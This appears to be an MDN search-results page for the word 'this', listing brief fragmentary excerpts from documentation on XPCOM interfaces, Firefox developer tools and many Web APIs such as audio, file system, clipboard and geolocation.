thistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstring aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkey...
...
this is true if the fhr data reporting service or the self-support service is enabled.
...And 2 more matches
nsIThreadEventFilter
you should implement
this interface and its acceptevent() method, then pass the object implementing it as the filter.
... xpcom/threads/nsithreadinternal.idlscriptable please add a summary to
this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview boolean acceptevent(in nsirunnable event);violates the xpcom interface guidelines methods violates the xpcom interface guidelines acceptevent()
this method is called to determine whether or not an event may be accepted by a nested event queue.
...And 2 more matches
nsIToolkitProfileService
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: starting in gecko 1.9.1,
this service is implemented by @mozilla.org/toolkit/profile-service;1.
... warning:
this service is synchronous so it is recommended that you use os.file to find the profile directory via os.constants.path.profiledir.
...
this will always return 0, 1, or 2; if there are more than 2 profiles, 2 is always returned.
...And 2 more matches
nsITransaction
editor/txmgr/idl/nsitransaction.idlscriptable please add a summary to
this article.
...
this attribute is checked by the transaction manager after the transaction's execute() method is called.
...merge() attempts to merge a transaction into "
this" transaction.
...And 2 more matches
nsIUploadChannel2
netwerk/base/public/nsiuploadchannel2.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void explicitsetuploadstream(in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders); methods explicitsetuploadstream() sets a stream to be uploaded by
this channel with the specified content-type and content-length header values.
... most implementations of
this interface require that the stream: implement threadsafe addref and release implement nsiinputstream.readsegments() implement nsiseekablestream.seek().
...And 2 more matches
NS_StringAppendData
this is a low-level api.
... adata [in] a raw character array to copy into
this string.
... remarks
this function is defined inline as a wrapper around ns_stringsetdatarange note: gcc requires the -fshort-wchar option to compile
this example since prunichar is an unsigned short.
...And 2 more matches
NS_StringCutData
this is a low-level api.
... remarks
this function is defined inline as a wrapper around ns_stringsetdatarange.
... note: gcc requires the -fshort-wchar option to compile
this example since prunichar is an unsigned short.
...And 2 more matches
Using the Gecko SDK
this guide explains how to build xpcom components in c++ using the gecko sdk.
...(more information on xpcom is available at the xpcom project page.) the intent of
this guide is to help you build your components "the right way" such that they will remain compatible with future versions of mozilla.
...(<tt>about:buildconfig</tt> can be loaded in mozilla to reveal details about the compiler that was used.) for the remainder of
this guide, we'll assume you are developing components under linux.
...And 2 more matches
Buddy icons in mail
warning: the content of
this article may be out of date.
... (see
this document for info about that.) for the addressbook card pane, the icon will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for card>.gif if aim.session.screenname is not set, the icon will not appear.
... the reason
this file name scheme was chosen was is
this is how netscape 7.0 im stores buddy icons on disk.
...And 2 more matches
LDAP Support
this document is intended to "fill in the gaps" about how enterprise customers can leverage and customize ldap support in mozilla thunderbird.
...it should be noted that all of
this information applies to both thunderbird and the seamonkey application suite.
...
this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.commentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.commentformat", "[ou]"); the first preference tells us to use a comment column in the type down (the default value is 0 for no comment), and that the value for the comment is a custom string unique to each directory.
...And 2 more matches
Use SQLite
if you'd like to use an sqlite database in your extension you'll need to look over the storage docs for an api reference, however
this code should get you started.
...
this will create an sqlite db named tbird.sqlite inside your profile directory with a table called attachments.
... const cc = components.classes; const ci = components.interfaces; var tbirdsqlite = { onload: function() { // initialization code
this.initialized = true;
this.dbinit(); }, dbconnection: null, dbschema: { tables: { attachments:"id integer primary key, \ name text \ encoded text not null" } }, dbinit: function() { var dirservice = cc["@mozilla.org/file/directory_service;1"].
...And 2 more matches
Declaring and Using Callbacks
this is very powerful, since it allows native code to transparently call into javascript.
... examples example 1
this callback that returns bool and has two arguments.
...pedeclaration = ctypes.functiontype(ctypes.default_abi, ctypes.bool, [ctypes.int, ctypes.voidptr_t]); function myjscallback(cint, cptr) { return true; // as the return of the functiontype was ctypes.bool we must make our javascript callback return bool otherwise js-ctypes will throw error saying unexpected type return } var myccallback = myfunctypedeclaration.ptr(myjscallback); example 2
this callback that returns void and no arguments.
...And 2 more matches
ABI
general details
this article describes the calling conventions with respect to js-ctypes while programming x86 and x86-64/x64/amd64 architectures.
... http://en.wikipedia.org/wiki/application_binary_interface os specific windows https://msdn.microsoft.com/en-us/library/k2b2ssfy.aspx https://msdn.microsoft.com/en-us/library/9b372w95.aspx details with respect to js-ctypes
this explains how to use it in the js-ctypes scope.
... ctypes.default_abi corresponds to cdecl; standard libraries use
this abi.
...And 2 more matches
Flash Activation: Browser Comparison - Plugins
each of the major browsers has now implemented a feature where adobe flash content does not run by default, but each of the browsers has implemented
this feature and the user interface in slightly different ways.
...
this guide will help outline the similarities and differences between the browsers so web developers can provide the best user experience.
...flash-blocking extensions are no longer necessary because
this functionality is now built into the browser.
...And 2 more matches
3D view - Firefox Developer Tools
when you click on the 3d view button, the page goes into 3d view mode; in
this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
...
this view makes it easy to visualize the nesting of your content.
...� / → mouse left/right pan up/down ↑ / ↓ mouse up/down reset zoom level 0 resets the zoom level to the default focus on selected node f makes sure the currently selected node is visible reset view r resets zoom, rotation, and panning to the default hide current node x makes the currently selected node invisible;
this can be helpful if you need to get at a node that's obscured use cases for the 3d view there are a variety of ways the 3d view is useful: if you have broken html causing layout problems, looking at the 3d view can help find where you've gone wrong.
...And 2 more matches
Browser Toolbox - Firefox Developer Tools
to do
this, open the developer tools settings, go to the section "advanced settings", and check the settings "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging".
... you will be presented with a dialog like
this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running.
...
this enables you to inspect documents in individual chrome windows and popups, as well as in content tabs.
...And 2 more matches
Set a breakpoint - Firefox Developer Tools
there are many different types of breakpoint that can be set in the debugger;
this article covers standard (unconditional) breakpoints and conditional breakpoints.
...at
this point you can do useful things like studying the value of different variables at that point, allowing you to work out why a problem is occurring.
... there are a few options available here: add breakpoint: add a standard unconditional breakpoint at
this line number (see below).
...And 2 more matches
Source map errors - Firefox Developer Tools
this page explains the most common problems and how to fix them.
...
this message will show an error message, the resource url, and the source map url: here, the resource url tells us that bundle.js mentions a source map, and the source map url tells us where to find the source map data (in
this case, relative to the resource).
... you may encounter
this when trying to open one of the original sources in the debugger.
...And 2 more matches
Basic operations - Firefox Developer Tools
on the left, you'll see an entry for the new snapshot, including its timestamp, size, and controls to save or clear
this snapshot: clearing a snapshot to remove a snapshot, click the "x" icon: saving and loading snapshots if you close the memory tool, all unsaved snapshots will be discarded.
... to load a snapshot from an existing .fxsnapshot file, click the import button, which looks like a rectangle with an arrow rising from it (before firefox 49,
this button was labeled with the text "import..."): you'll be prompted to find a snapshot file on disk.
... to create a diff, click the button that looks like a venn diagram next to the camera icon (before firefox 47,
this looked like a "+/-" icon): you'll be prompted to select the snapshot to use as a baseline, then the snapshot to compare.
...And 2 more matches
Tree map view - Firefox Developer Tools
strings other:
this includes internal spidermonkey objects.
...
this means you can quickly get an idea of roughly what sorts of things allocated by your site are using the most memory.
... here are some example snapshots, as they appear in the tree map view:
this treemap is from the dom allocation example, which simply runs a script that creates a large number of dom nodes (200 htmldivelement objects and 4000 htmlspanelement objects).
...And 2 more matches
Page inspector 3-pane mode - Firefox Developer Tools
this article explains how to use the page inspector's 3-pane mode.
...when activated,
this allows you to see the following simultaneously: the html pane on the left hand side, as usual.
... having the css rules in their own pane is very useful because it allows you to not only inspect your html and edit the css applied to it, but also see the effect
this has on css features such as computed styles and grids in real time.
...And 2 more matches
Edit Shape Paths in CSS - Firefox Developer Tools
this guide walks you through all of the available options.
...
this is your shape.
... if the shape is clipped by the margin box then the margin box will make up part of
this line.
...And 2 more matches
UI Tour - Firefox Developer Tools
this article is a quick tour of the main sections of the page inspector's user interface.
... it covers the three top-level components of the inspector's ui: the "select element" button the html pane the css pane
this guide is intentionally kept as short as possible.
...if the page includes any sections using either the flexbox display model or css grids,
this view shows the flexbox or grid settings used on the page.
...And 2 more matches
Taking screenshots - Firefox Developer Tools
the command has the following optional parameters: command type description --clipboard boolean when present,
this parameter will cause the screenshot to be copied to the clipboard.
...
this is useful if you want to pop open a menu or invoke a hover state for the screenshot.
...with
this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot.
...And 2 more matches
Toolbox - Firefox Developer Tools
this is what it looks like when it's docked: the window itself is split into two parts: a toolbar along the top, and a main pane underneath: note: since firefox 62, you can drag and drop tabs in the main toolbar of the toolbox to reorder your tools as you wish (bug 1226272).
...
this lets you select a page element for inspection.
...the array may include the following tools: web console javascript debugger page inspector style editor profiler network monitor note that not all the hosted tools are always listed here: only the tools actually available in
this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the firefox instance that launched the window, not all the hosted tools will be shown).
...And 2 more matches
Validators - Firefox Developer Tools
this document lists different resources for developers to validate web pages.
... sidebar tabs are not available at
this time.
... applications and services devedge web tune-up wizard
this interface to w3c services guides beginning-to-intermediate web authors through the process of updating content to support netscape 7.x, mozilla and other browsers that support w3c standards.
...And 2 more matches
View Source - Firefox Developer Tools
this feature is useful when you're looking for html errors.
...therefore,
this error will not be flagged in view source.
...because of
this, doctypes that have an internal subset are not highlighted correctly, and entity references to custom entities are also not highlighted correctly.
...And 2 more matches
AnimationEffect.getComputedTiming() - Web APIs
the getcomputedtiming() method of the animationeffect interface returns the calculated timing properties for
this animation effect.
... although many of the attributes of the returned object are common to the effecttiming contained in the object returned by the animationeffect.gettiming() method, the values returned by
this object differ in the following ways: duration returns the calculated value of the iteration duration.
... if effecttiming.duration is the string auto,
this attribute will return 0.
...And 2 more matches
AudioNode - Web APIs
this graph is contained in an audiocontext, and each audio node can only belong to one audio context.
...destination nodes — like audiodestinationnode — have a value of 0 for
this attribute.
...
this interpretation will define how audio up-mixing and down-mixing will happen.
...And 2 more matches
AudioParam.setTargetAtTime() - Web APIs
this is useful for decay or release portions of adsr envelopes.
...the larger
this value is, the slower the transition will be.
... returns a reference to
this audioparam object.
...And 2 more matches
AudioTrackList.getTrackById() - Web APIs
this lets you find a specified track if you know its id string.
...if no match is found,
this method returns null.
... example
this example suggests a hypothetical game in which movies are used as cut-scenes or other key set pieces within the game.
...And 2 more matches
AudioTrackList - Web APIs
retrieve an instance of
this object with htmlmediaelement.audiotracks.
... properties
this interface also inherits properties from its parent interface, eventtarget.
...
this occurs when one or more tracks have been enabled or disabled by their enabled flag being changed.
...And 2 more matches
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
under
this name the audioparam will be available in the parameters property of the node, and under
this name the audioworkletprocessor.process method will acquire the calculated values of
this audioparam.
... automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of
this audioparam.
...here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve
this as well).
...And 2 more matches
BaseAudioContext - Web APIs
baseaudiocontext.samplerate read only returns a float representing the sample rate (in samples per second) used by all nodes in
this context.
...
this occurs when the audiocontext's state changes, due to the calling of one of the state change methods (audiocontext.suspend, audiocontext.resume, or audiocontext.close).
...
this node is also useful to create feedback loops in a web audio api graph.
...And 2 more matches
BasicCardResponse.billingAddress - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
...ra for androidsafari on iossamsung internetbillingaddresschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
BasicCardResponse.cardNumber - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
...dopera for androidsafari on iossamsung internetcardnumberchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
BasicCardResponse.cardSecurityCode - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
... for androidsafari on iossamsung internetcardsecuritycodechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
BasicCardResponse.cardholderName - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
...ra for androidsafari on iossamsung internetcardholdernamechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
BasicCardResponse.expiryMonth - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
...opera for androidsafari on iossamsung internetexpirymonthchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
BasicCardResponse.expiryYear - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
...dopera for androidsafari on iossamsung internetexpiryyearchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
readValue() - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled from version ≤79:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 2 more matches
uuid - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled from version ≤79:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 2 more matches
writeValue() - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled from version ≤79:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 2 more matches
Broadcast Channel API - Web APIs
note:
this feature is available in web workers.
...an example string message: // example of sending of a very simple message bc.postmessage('
this is a test message.'); any kind of object can be sent, not just a domstring.
... receiving a message when a message is posted, a message event is dispatched to each broadcastchannel object connected to
this channel.
...And 2 more matches
Cache.match() - Web APIs
this can be a request object or a url.
... examples
this example is taken from the custom offline page example (live demo).
... in
this example, only html documents retrieved with the get http verb will be cached.
...And 2 more matches
CanvasRenderingContext2D.fillRect() - Web APIs
this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
... examples a simple filled rectangle
this example draws a filled green rectangle using the fillrect() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'green'; ctx.fillrect(20, 10, 150, 100); result filling the whole canvas
this code snippet fills the entire canvas with a rectangle.
...And 2 more matches
CanvasRenderingContext2D.filter - Web APIs
this function takes up to five arguments: <offset-x>: see <length> for possible units.
... <blur-radius>: the larger
this value, the bigger the blur, so the shadow becomes bigger and lighter.
... examples to view these examples, make sure to use a browser that supports
this feature; see the compatibility table below.
...And 2 more matches
Hit regions and accessibility - Web APIs
a good example at html5accessibility.com demonstrates how
this can be done: <canvas> <h2>shapes</h2> <p>a rectangle with a black border.
...artially overlaying the circle is a green <a href="http://en.wikipedia.org/wiki/square" onfocus="drawsquare();" onblur="drawpicture();">square</a> and a purple <a href="http://en.wikipedia.org/wiki/triangle" onfocus="drawtriangle();" onblur="drawpicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> see the video how nvda reads
this example by steve faulkner.
...npath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: 'circle'}); canvas.addeventlistener('mousemove', function(event) { if (event.region) { alert('hit region: ' + event.region); } }); </script> the addhitregion() method also takes a control option to route events to an element (that is a descendant of the canvas): ctx.addhitregion({control: element});
this can be useful for routing to <input> elements, for example.
...And 2 more matches
Clipboard API - Web APIs
this api is designed to supersede accessing the clipboard using document.execcommand().
... accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the navigator.clipboard global: navigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += cliptext);
this snippet fetches the text from the clipboard and appends it to the first element found with the class editor.
... since readtext() (and read(), for that matter) returns an empty string if the clipboard isn't text,
this code is safe.
...And 2 more matches
Console.table() - Web APIs
this function takes one mandatory argument data, which must be an array or an object, and one additional optional parameter columns.
... note:
this feature is available in web workers.
... // an array of strings console.table(["apples", "oranges", "bananas"]); // an object whose properties are strings function person(firstname, lastname) {
this.firstname = firstname;
this.lastname = lastname; } var me = new person("john", "smith"); console.table(me); collections of compound types if the elements in the array, or properties in the object, are themselves arrays or objects, then their elements or properties are enumerated in the row, one per column: // an array of arrays var people = [["john", "smith"], ["jane", "doe"], ["emily", "jones"]] console.table(people); // an array of objects function person(firstname, lastname) {
this.firstname = firstname;
this.lastname = lastname;...
...And 2 more matches
CryptoKey - Web APIs
properties cryptokey.type string which may take one of the following values: "secret":
this key is a secret key for use with a symmetric algorithm.
... "private":
this key is the private half of an asymmetric algorithm's cryptokeypair.
... "public":
this key is the public half of an asymmetric algorithm's cryptokeypair.
...And 2 more matches
DOMPointInit.y - Web APIs
this may change if transforms have been applied causing the axes' orientation to change.
...
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... if
this property is missing when the dompointinit object is passed into frompoint(), the value is assumed to be 0 by default.
...And 2 more matches
DataTransfer.effectAllowed - Web APIs
this property should be set in the dragstart event to set the desired drag effect for the drag source.
... within the dragenter and dragover event handlers,
this property will be set to whatever value was assigned during the dragstart event, thus effectallowed may be used to determine which effect is permitted.
... example
this example shows the use of the effectallowed and dropeffect properties.
...And 2 more matches
DataTransfer.mozCursor - Web APIs
this is primarily used to control the cursor during tab drags.
... note:
this property is currently only implemented on windows.
... note:
this property is gecko-specific.
...And 2 more matches
DataTransfer.mozItemCount - Web APIs
this can be used, for example, to get the number of files being dragged.
... note:
this property is gecko-specific.
...
this property is read only .
...And 2 more matches
DataTransferItemList.clear() - Web APIs
the drag data store in which
this list is kept is only writable while handling the dragstart event.
... while handling drop, the drag data store is in read-only mode, and
this method silently does nothing.
... return value undefined example
this example shows the use of the clear() method.
...And 2 more matches
DedicatedWorkerGlobalScope - Web APIs
properties
this interface inherits properties from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers.
...
this is mainly useful for debugging purposes.
... event handlers
this interface inherits event handlers from the workerglobalscope interface, and its parent eventtarget, and therefore implements event handlers from windowtimers, windowbase64, and windoweventhandlers.
...And 2 more matches
Document: animationiteration event - Web APIs
this event does not occur at the same time as the animationend event, and therefore does not occur for animations with an animation-iteration-count of one.
... bubbles yes cancelable no interface animationevent event handler property onanimationiteration the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
Document: animationstart event - Web APIs
if there is an animation-delay,
this event will fire once the delay period has expired.
... bubbles yes cancelable no interface animationevent event handler property onanimationstart the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
Document.createElementNS() - Web APIs
see extending native html elements for more information on how to use
this parameter.
... important namespace uris html http://www.w3.org/1999/xhtml svg http://www.w3.org/2000/svg mathml http://www.w3.org/1998/math/mathml xul http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul xbl http://www.mozilla.org/xbl example
this creates a new <div> element in the xhtml namespace and appends it to the vbox element.
... although
this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("
this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchil...
...And 2 more matches
Document.createTreeWalker() - Web APIs
syntax document.createtreewalker(root, whattoshow[, filter[, entityreferenceexpansion]]); parameters root a root node of
this treewalker traversal.
... typically
this will be an element owned by the document.
...
this is meaningful only when creating a treewalker with an attr node as its root; in
this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...And 2 more matches
Document.evaluate() - Web APIs
*/ var
thisheading = headings.iteratenext(); var alerttext = "level 2 headings in
this document are:\n"; while (
thisheading) { alerttext +=
thisheading.textcontent + "\n";
thisheading = headings.iteratenext(); } alert(alerttext); // alerts the text of all h2 elements note, in the above example, a more verbose xpath is preferred over common shortcuts such as //h2.
...
this is because the evaluation of the query spends does not waste time visiting unnecessary nodes.
...for example, if you know the content you are looking for is somewhere inside the body tag, you can use
this: document.evaluate(".//h2", document.body, null, xpathresult.any_type, null); notice in the above document.body has been used as the context instead of document so the xpath starts from the body element.
...And 2 more matches
Events and the DOM - Web APIs
introduction
this chapter describes the dom event model.
... eventtarget.addeventlistener // assuming mybutton is a button element mybutton.addeventlistener('click', greet, false) function greet(event){ // print and have a look at the event object // always print arguments in case of overlooking any other arguments console.log('greet:', arguments) alert('hello world') }
this is the method you should use in modern web pages.
... note: internet explorer 6–8 didn't support
this method, offering a similar eventtarget.attachevent api instead.
...And 2 more matches
EffectTiming.fill - Web APIs
ext-align: center; margin-top: 0px; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 160px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 2em "lucida grande", "open sans", sans-serif; } while there's other css involved in
this example, the part that really matters for our purposes is the css that styles the "box" element that we'll be animating.
... that css looks like
this: #box { width: 200px; height: 200px; left: 50px; top: 50px; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; } all
this does is specify the size, border, and color information, as well as indicate that the box should be centered both vertically and horizontally inside its container.
...in
this case, we have just two keyframes; the first defines what affect is applied to the element immediately after the animation first begins to play, and the second defines the effect applied to the element in the last moment before it ends.
...And 2 more matches
Element.scrollTop - Web APIs
this is a special case of scrolltop.
...var intelemscrolltop = someelement.scrolltop; after running
this code, intelemscrolltop is an integer corresponding to the number of pixels that the element's content has been scrolled upwards.
... example padding-top if you can see
this, scrolltop = 0 lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
...And 2 more matches
Element.setPointerCapture() - Web APIs
this has the effect of suppressing these events on all other elements.
...
this can be used to ensure that an element continues to receive pointer events even if the pointer device's contact moves off the element (such as by scrolling or panning).
... return value
this method returns undefined.
...And 2 more matches
Event.composed - Web APIs
note:
this property was formerly named scoped.
...for example,
this includes synthetic events that are created without their composed option wil set to true.
... if
this value is false, the shadow root will be the last node to be offered the event.
...And 2 more matches
EventSource - Web APIs
this limit is per browser + domain, so that means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com.
... properties
this interface also inherits properties from its parent, eventtarget.
... methods
this interface also inherits methods from its parent, eventtarget.
...And 2 more matches
FetchEvent.respondWith() - Web APIs
this prevents the leaking of private data.
...
this means, for example, if a service worker intercepts a stylesheet or worker script, then the provided response.url will be used to resolve any relative @import or importscripts() subresource loads (bug 1222008).
... for most types of network request
this change has no impact because you can't observe the final url.
...And 2 more matches
FetchEvent - Web APIs
this is the event type for fetch events dispatched on the service worker global scope.
...it provides the event.respondwith() method, which allows us to provide a response to
this fetch.
...
this constructor is not typically used.
...And 2 more matches
Cross-global fetch usage - Web APIs
this article explains an edge case that occurs with fetch (and potentially other apis exhibiting the same kind of resource retrieval behavior).
... the edge case many sites will never comes up against
this edge case.
...frame.contentwindow.fetch() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute = new url(relative, window.location.href)
this is not a problem as such.
...And 2 more matches
FileList - Web APIs
an object of
this type is returned by the files property of the html <input> element;
this lets you access the list of files selected with the <input type="file"> element.
... it's also used for a list of files dropped into web content when using the drag and drop api; see the datatransfer object for details on
this usage.
... using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in
this list.
...And 2 more matches
FileSystem - Web APIs
this interface will not grant you access to the users filesystem.
...
this name is unique among the entire list of exposed file systems.
...through
this object, you can gain access to all files and directories in the file system.
...And 2 more matches
FileSystemDirectoryEntry.getDirectory() - Web APIs
fileerror.type_mismatch_err the path specified is not a directory; it's probably a file, but might be an unsupported file descriptor such as a pipe;
this depends on the user agent to some extent.
... create optional if
this property is true, and the requested file or directory doesn't exist, the user agent should create it.
... example in
this example, a function is presented whose job it is to locate within a user's app data directory a json file containing a user dictionary for a specified language, then load that dictionary.
...And 2 more matches
FileSystemDirectoryEntry.getFile() - Web APIs
fileerror.type_mismatch_err the path specified is not a file; it's probably a directory, but might be an unsupported file descriptor such as a pipe;
this depends on the user agent to some extent.
... create optional if
this property is true, and the requested file or directory doesn't exist, the user agent should create it.
... example in
this example, a function is presented whose job it is to locate within a user's app data directory a json file containing a user dictionary for a specified language, then load that dictionary.
...And 2 more matches
FileSystemDirectoryEntry - Web APIs
fs.root.getdirectory('documents', {create:true}, function(directoryentry){ //directoryentry.isfile === false //directoryentry.isdirectory === true //directoryentry.name === 'documents' //directoryentry.fullpath === '/documents' }, onerror); } // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, onfs, onerror); properties
this interface has no properties of its own, but inherits properties from its parent interface, filesystementry.
... methods
this interface inherits methods from its parent interface, filesystementry.
... createreader() creates a filesystemdirectoryreader object which can be used to read the entries in
this directory.
...And 2 more matches
FileSystemEntry.fullPath - Web APIs
this can also be thought of as a path which is relative to the root directory, with a "/" prepended to it to make it absolute.
... example
this example shows a function which is called with a file system; it then gets a filesystemfileentry for a file named data.json and returns its full path.
... function gotfilesystem(fs) { let path = ""; fs.root.getfile("data.json", { create: true, exclusive: true }, function(entry) { path = fullpath; }, handleerror(error)); return path; } obviously,
this is somewhat contrived, since we know that the file's full path is "/data.json", having just looked it up ourselves, but the concept holds up for scenarios in which you don't know it.
...And 2 more matches
FileSystemEntry.toURL() - Web APIs
this is done by exposing a new url scheme—filesystem:—that can be used as the value of src and href attributes.
...
this can be used to help deal with files whose types aren't recognized automatically by the user agent.
... if
this parameter is omitted, the user agent uses its standard algorithms to identify the file.
...And 2 more matches
FileSystemFileEntry.file() - Web APIs
errorcallback optional if provided,
this must be a method which is called when an error occurs while trying to create the file.
...
this callback receives as input a fileerror object describing the error.
... example
this example establishes a method, readfile(), reads a text file and calls a specified callback function with the received text (in a string object) once the read is completed.
...And 2 more matches
FormData.append() - Web APIs
note:
this method is available in web workers.
... syntax there are two versions of
this method: a two and a three parameter version: formdata.append(name, value); formdata.append(name, value, filename); parameters name the name of the field whose data is contained in value.
...
this can be a usvstring or blob (including subclasses such as file).
...And 2 more matches
GeolocationCoordinates.longitude - Web APIs
this is the same standard used by the global positioning system (gps).
... examples in
this simple example, we fetch the user's location and display the resulting coordinates once they're returned.
...
this is an asynchronous request, so we provide a callback which receives as in put a geolocationposition object describing the determined position.
...And 2 more matches
GeolocationCoordinates - Web APIs
this value can be null if the implementation cannot provide the data.
...
this value can be null.
...
this value, specified in degrees, indicates how far off from heading true north the device is.
...And 2 more matches
GestureEvent - Web APIs
events using
this interface include gesturestart, gesturechange, and gestureend.
... properties
this interface also inherits properties of its parents, uievent and event.
...initial value: 1.0 methods
this interface also inherits methods of its parents, uievent and event.
...And 2 more matches
GlobalEventHandlers.onclick - Web APIs
note: when using the click event to trigger an action, also consider adding
this same action to the keydown event, to allow the use of that same action by people who don't use a mouse or a touch screen.
...within the function,
this will be the element upon which the event was triggered.
... examples detecting clicks
this example simply changes the color of an element when it's clicked upon.
